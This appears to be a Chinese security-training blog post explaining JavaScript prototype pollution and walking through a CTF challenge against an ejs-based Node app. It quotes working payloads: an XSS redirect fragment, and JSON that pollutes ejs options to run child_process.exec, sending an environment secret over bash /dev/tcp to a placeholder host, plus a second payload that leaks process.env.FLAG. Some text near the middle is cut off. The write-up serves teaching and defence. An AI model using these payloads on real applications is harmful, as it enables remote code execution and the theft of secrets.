原创: Mr.zhang 合天智汇
0x00 正文
想了解什么是JavaScript可到合天网安实验室学习实验——Javascript基础,学习DOM操作和BOM操作,点击http://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec2017041815391500001开始学习。
原型和原型链
JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义。也就是说,我们定义了一个函数,就会有对应的一个类,类名为该函数名。
原型
每个函数对象都会有个prototype属性,它指向了该构建函数实例化的原型。使用该构建函数实例化对象时,会继承该原型中的属性及方法。
所有的对象都有__proto__属性,它指向了创建它的构建函数的原型。
在P神的介绍JavaScript原型污染攻击文章中我们可以知道以下两个性质。
prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
一个对象的__proto__属性,指向这个对象所在的类的prototype属性
原型链
所谓原型链也是指JS中的一个继承和反向查找的机制,函数对象可以通过prototype属性找到函数原型,普通实例对象可以通过__proto__属性找到构建其函数的原型。
JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链
每个构造函数(constructor)都有一个原型对象(prototype)
对象的__proto__属性,指向类的原型对象prototype
JavaScript使用prototype链实现继承机制
具体的可以参考下面的解释图(参考链接见附录)
window.location='http://wonderkun.cc/hack.html'/script>"}}}
方法二:后端RCE之opts.outputFunctionName
const ejs = require('ejs')
该项目使用ejs库作为模板引擎,由于该模板引擎中通常会有eval等操作用于解析,因此可以去看ejs的存在原型链污染的地方。
查看ejs源码可以发现,很大一部分调用全是为了动态拼接一个js语句,当opts
存在属性outputFunctionName
时,该属性outputFunctionName
便会被直接拼接到这段js中。
if (!this.source) { this.generateSource(); prepended += ' var __output = [], __append = __output.push.bind(__output);' + '\n'; if (opts.outputFunctionName) { prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n'; } if (opts._with !== false) { prepended += ' with (' + opts.localsName + ' || {}) {' + '\n'; appended += ' }' + '\n'; } appended += ' return __output.join("");' + '\n'; this.source = prepended + this.source + appended; }
然后根据拼接的内容,生成动态函数
try{ ctor = (new Function('return (async function(){}).constructor;'));}.....else { ctor = Function; } fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src); }
此处如果可以控制opts.outputFunctionName为恶意代码,即可实现RCE
附上出题者的payload
{"type":"test","content":{"constructor":{"prototype":{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')//"}}}}
拼接到后端的动态函数则是:
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';// After injectionprepended += ' var a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')// 后面的代码都被注释了'
污染了原型链之后,渲染直接变成了执行代码,并提前 return,从而 getshell
方法三:后端RCE之opts.escapeFunction
同样可以找到另外一处地方
var escapeFn = opts.escapeFunction;var ctor;....if (opts.client) { src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src; if (opts.compileDebug) { src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src; }}
伪造escapeFunction也可以打到RCE
{"constructor": {"prototype": {"client": true,"escapeFunction": "1; returnprocess.env.FLAG","debug":true, "compileDebug": true}}}
0X02 参考
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
https://blog.csdn.net/cc18868876837/article/details/81211729
https://blog.sari3l.com/posts/81dfbfaf/#%E5%8F%97%E5%BD%B1%E5%93%8D%E7%9A%84%E5%BA%93
https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs
https://www.xmsec.cc/prototype-pollution-notes/
https://www.anquanke.com/post/id/177093
https://snyk.io/vuln/SNYK-JS-LODASH-450202
https://github.com/jquery/jquery/pull/4333
https://snyk.io/blog/after-three-years-of-silence-a-new-jquery-prototype-pollution-vulnerability-emerges-once-again/
https://juejin.im/post/5b07eb1c5188254e28710d80
https://www.smi1e.top/javascript-%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/
声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!
转载请注明来自网盾网络安全培训,本文标题:《JavaScript Prototype污染攻击》
标签:合天智汇
- 上一篇: 栈溢出SROP攻击
- 下一篇: 【知了堂信安笔记】渗透测试之信息收集(一)
- 关于我们